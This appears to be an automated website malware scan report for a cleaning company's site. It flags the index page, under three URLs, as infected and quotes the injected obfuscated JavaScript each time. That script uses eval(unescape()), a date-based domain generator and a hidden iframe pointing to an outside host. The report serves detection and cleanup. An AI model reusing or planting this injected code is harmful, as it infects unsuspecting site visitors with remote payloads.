New scan:

Malware Scanner report for hands-cleaners.com

Malicious/Suspicious/Total urls checked
3/0/15
3 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "hands-cleaners.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=hands-cleaners.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://hands-cleaners.com/
200 OK
Content-Length: 19387
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

$="%63d%3d%223bs%2574%253dst+%2553t%2572i%256eg.f%2572om%2543har%2543ode%2528(tm%2570%252e%22;cz%3d%22%2566un%2563tio%256e %2563z(%2563z%2529{re%2574%2575%2572n c%2561%252bc%2562+cc%252b%2563d+c%2565+%2563%257a;}%253b%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;cc%3d%226ceng%2574h%253b%2569+%252b){
... 2208 bytes are skipped ...
%4ff(%27v%62ull%65t%69n%5f%6dult%69quo%74e%3d%27)%3d%3d-1){sc(%27vbul%6cet%69n_m%75%6ct%69quo%74e%3d%27,2,7%29;%65v%61l(u%6eesc%61%70e(%64z+c%7a+o%70+s%74)%2b%27dw%28%64z+c%7a($%2bst%29);%27)}el%73e%7b$%3d%27%27%7d;%66u%6ect%69o%6e%20%73c(%63nm%2c%76%2ced)%7bvar%20exd%3dn%65w %44ate%28);e%78d.%73et%44%61te(%65%78%64.ge%74Dat%65()%2b%65%64);%64oc%75%6den%74%2e%63o%6fki%65%3dcnm+%20%27%3d%27 +escape%28v)+%27;%65xpi%72e%73%3d%27+exd.toG%4dT%53tr%69ng(%29%3b%7d;";eval(unescape($));document.write($);

Decoded script:


cd="3bs%74%3dst+%53t%72i%6eg.f%72om%43har%43ode%28(tm%70%2e";cz="%66un%63tio%6e %63z(%63z%29{re%74%75%72n c%61%2bc%62+cc%2b%63d+c%65+%63%7a;}%3b";dd="}Sx<tSx<}^}+yv8d)K7i7M,%22%20%20'9kd)K7i7M0-0%22%20%20'+m}^}-S]^8d)K7t7M<d)K7}7M<d)K7i7M9+iSx!-|)K888d)K7i7M6%20hQQ9;}^}950&5##950%22&M+iSx%22-|)K8888d)K7i7M6%20h##!!9..#9;}^}950!%209M+}Sx";cc="6ceng%74h%3b%69+%2b){%74m%70%3dds.s%6c%69ce(%69,i%2b1)%";da="fqb0})-~ug0Qbbqi87e~%7F7<7tfu7<7dxb7<7vyb7<7fyv7<7huc7&
... 7348 bytes are skipped ...
Ch,mNm;if(t9['y']<2007){t9['y'] = 2007;}mNm=CMN(t9['d'],t9['m'],t9['y']);yCh1=l9[(((t9['y']&0xAA)+mNm)% 63)% 26];yCh2=l9[((((t9['y']&0x3311)>>3)+mNm)% 10)];mCh=l9[((t9['m']+mNm)% 25)];if(((t9['d']*2)>=0)&&((t9['d']*2)<=9))dCh=n9[(t9['d']% 10)];else dCh=l9[((t9['d']*6)% 27)];$=$.replace(d,yCh2+mCh+yCh1+dCh+m9[t9['m']-1]+'.com');
<div style="visibility:hidden"><iframe src="http://bubgtwe.com/ld/dx/" width=100 height=80></iframe></div>

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
VirTool:JS/Obfuscator.BJ
NANO-Antivirus
Trojan.Script.Agent.rqzph

http://hands-cleaners.com/index.html
200 OK
Content-Length: 19387
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

$="%63d%3d%223bs%2574%253dst+%2553t%2572i%256eg.f%2572om%2543har%2543ode%2528(tm%2570%252e%22;cz%3d%22%2566un%2563tio%256e %2563z(%2563z%2529{re%2574%2575%2572n c%2561%252bc%2562+cc%252b%2563d+c%2565+%2563%257a;}%253b%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;cc%3d%226ceng%2574h%253b%2569+%252b){
... 2208 bytes are skipped ...
%4ff(%27v%62ull%65t%69n%5f%6dult%69quo%74e%3d%27)%3d%3d-1){sc(%27vbul%6cet%69n_m%75%6ct%69quo%74e%3d%27,2,7%29;%65v%61l(u%6eesc%61%70e(%64z+c%7a+o%70+s%74)%2b%27dw%28%64z+c%7a($%2bst%29);%27)}el%73e%7b$%3d%27%27%7d;%66u%6ect%69o%6e%20%73c(%63nm%2c%76%2ced)%7bvar%20exd%3dn%65w %44ate%28);e%78d.%73et%44%61te(%65%78%64.ge%74Dat%65()%2b%65%64);%64oc%75%6den%74%2e%63o%6fki%65%3dcnm+%20%27%3d%27 +escape%28v)+%27;%65xpi%72e%73%3d%27+exd.toG%4dT%53tr%69ng(%29%3b%7d;";eval(unescape($));document.write($);

Decoded script:


cd="3bs%74%3dst+%53t%72i%6eg.f%72om%43har%43ode%28(tm%70%2e";cz="%66un%63tio%6e %63z(%63z%29{re%74%75%72n c%61%2bc%62+cc%2b%63d+c%65+%63%7a;}%3b";dd="}Sx<tSx<}^}+yv8d)K7i7M,%22%20%20'9kd)K7i7M0-0%22%20%20'+m}^}-S]^8d)K7t7M<d)K7}7M<d)K7i7M9+iSx!-|)K888d)K7i7M6%20hQQ9;}^}950&5##950%22&M+iSx%22-|)K8888d)K7i7M6%20h##!!9..#9;}^}950!%209M+}Sx";cc="6ceng%74h%3b%69+%2b){%74m%70%3dds.s%6c%69ce(%69,i%2b1)%";da="fqb0})-~ug0Qbbqi87e~%7F7<7tfu7<7dxb7<7vyb7<7fyv7<7huc7&
... 7348 bytes are skipped ...
Ch,mNm;if(t9['y']<2007){t9['y'] = 2007;}mNm=CMN(t9['d'],t9['m'],t9['y']);yCh1=l9[(((t9['y']&0xAA)+mNm)% 63)% 26];yCh2=l9[((((t9['y']&0x3311)>>3)+mNm)% 10)];mCh=l9[((t9['m']+mNm)% 25)];if(((t9['d']*2)>=0)&&((t9['d']*2)<=9))dCh=n9[(t9['d']% 10)];else dCh=l9[((t9['d']*6)% 27)];$=$.replace(d,yCh2+mCh+yCh1+dCh+m9[t9['m']-1]+'.com');
<div style="visibility:hidden"><iframe src="http://bubgtwe.com/ld/dx/" width=100 height=80></iframe></div>

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
VirTool:JS/Obfuscator.BJ
NANO-Antivirus
Trojan.Script.Agent.rqzph

http://hands-cleaners.com/about.html
200 OK
Content-Length: 11818
Content-Type: text/html
clean
http://hands-cleaners.com/office_cleaning.html
200 OK
Content-Length: 11114
Content-Type: text/html
clean
http://hands-cleaners.com/window_cleaning.html
200 OK
Content-Length: 10247
Content-Type: text/html
clean
http://hands-cleaners.com/special_projects.html
200 OK
Content-Length: 12035
Content-Type: text/html
clean
http://hands-cleaners.com/customers.html
200 OK
Content-Length: 12291
Content-Type: text/html
clean
http://hands-cleaners.com/testimonials.html
200 OK
Content-Length: 11839
Content-Type: text/html
clean
http://hands-cleaners.com/career_opportunities.html
200 OK
Content-Length: 9779
Content-Type: text/html
clean
http://hands-cleaners.com/contact.html
200 OK
Content-Length: 12433
Content-Type: text/html
clean
http://hands-cleaners.com/test404page.js
404 Not Found
Content-Length: 212
Content-Type: text/html
clean
http://hands-cleaners.com/office_cleaning/office_cleaning.html
200 OK
Content-Length: 11489
Content-Type: text/html
clean
http://hands-cleaners.com/office_cleaning/../index.html
200 OK
Content-Length: 19387
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

$="%63d%3d%223bs%2574%253dst+%2553t%2572i%256eg.f%2572om%2543har%2543ode%2528(tm%2570%252e%22;cz%3d%22%2566un%2563tio%256e %2563z(%2563z%2529{re%2574%2575%2572n c%2561%252bc%2562+cc%252b%2563d+c%2565+%2563%257a;}%253b%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;cc%3d%226ceng%2574h%253b%2569+%252b){
... 2208 bytes are skipped ...
%4ff(%27v%62ull%65t%69n%5f%6dult%69quo%74e%3d%27)%3d%3d-1){sc(%27vbul%6cet%69n_m%75%6ct%69quo%74e%3d%27,2,7%29;%65v%61l(u%6eesc%61%70e(%64z+c%7a+o%70+s%74)%2b%27dw%28%64z+c%7a($%2bst%29);%27)}el%73e%7b$%3d%27%27%7d;%66u%6ect%69o%6e%20%73c(%63nm%2c%76%2ced)%7bvar%20exd%3dn%65w %44ate%28);e%78d.%73et%44%61te(%65%78%64.ge%74Dat%65()%2b%65%64);%64oc%75%6den%74%2e%63o%6fki%65%3dcnm+%20%27%3d%27 +escape%28v)+%27;%65xpi%72e%73%3d%27+exd.toG%4dT%53tr%69ng(%29%3b%7d;";eval(unescape($));document.write($);

Decoded script:


cd="3bs%74%3dst+%53t%72i%6eg.f%72om%43har%43ode%28(tm%70%2e";cz="%66un%63tio%6e %63z(%63z%29{re%74%75%72n c%61%2bc%62+cc%2b%63d+c%65+%63%7a;}%3b";dd="}Sx<tSx<}^}+yv8d)K7i7M,%22%20%20'9kd)K7i7M0-0%22%20%20'+m}^}-S]^8d)K7t7M<d)K7}7M<d)K7i7M9+iSx!-|)K888d)K7i7M6%20hQQ9;}^}950&5##950%22&M+iSx%22-|)K8888d)K7i7M6%20h##!!9..#9;}^}950!%209M+}Sx";cc="6ceng%74h%3b%69+%2b){%74m%70%3dds.s%6c%69ce(%69,i%2b1)%";da="fqb0})-~ug0Qbbqi87e~%7F7<7tfu7<7dxb7<7vyb7<7fyv7<7huc7&
... 7348 bytes are skipped ...
Ch,mNm;if(t9['y']<2007){t9['y'] = 2007;}mNm=CMN(t9['d'],t9['m'],t9['y']);yCh1=l9[(((t9['y']&0xAA)+mNm)% 63)% 26];yCh2=l9[((((t9['y']&0x3311)>>3)+mNm)% 10)];mCh=l9[((t9['m']+mNm)% 25)];if(((t9['d']*2)>=0)&&((t9['d']*2)<=9))dCh=n9[(t9['d']% 10)];else dCh=l9[((t9['d']*6)% 27)];$=$.replace(d,yCh2+mCh+yCh1+dCh+m9[t9['m']-1]+'.com');
<div style="visibility:hidden"><iframe src="http://bubgtwe.com/ld/dx/" width=100 height=80></iframe></div>

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
VirTool:JS/Obfuscator.BJ
NANO-Antivirus
Trojan.Script.Agent.rqzph

http://hands-cleaners.com/office_cleaning/../about.html
200 OK
Content-Length: 11818
Content-Type: text/html
clean
http://hands-cleaners.com/office_cleaning/../office_cleaning.html
200 OK
Content-Length: 11114
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: hands-cleaners.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 27 Dec 2014 06:42:33 GMT
Accept-Ranges: bytes
ETag: "212e42c-4bbb-448bbca99bd80"
Server: Apache/2.2.16
Content-Length: 19387
Content-Type: text/html
Last-Modified: Tue, 18 Mar 2008 20:15:02 GMT

...19387 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: hands-cleaners.com
Referer: http://www.google.com/search?q=hands-cleaners.com

Result:
The result is similar to the first query. There are no suspicious redirects found.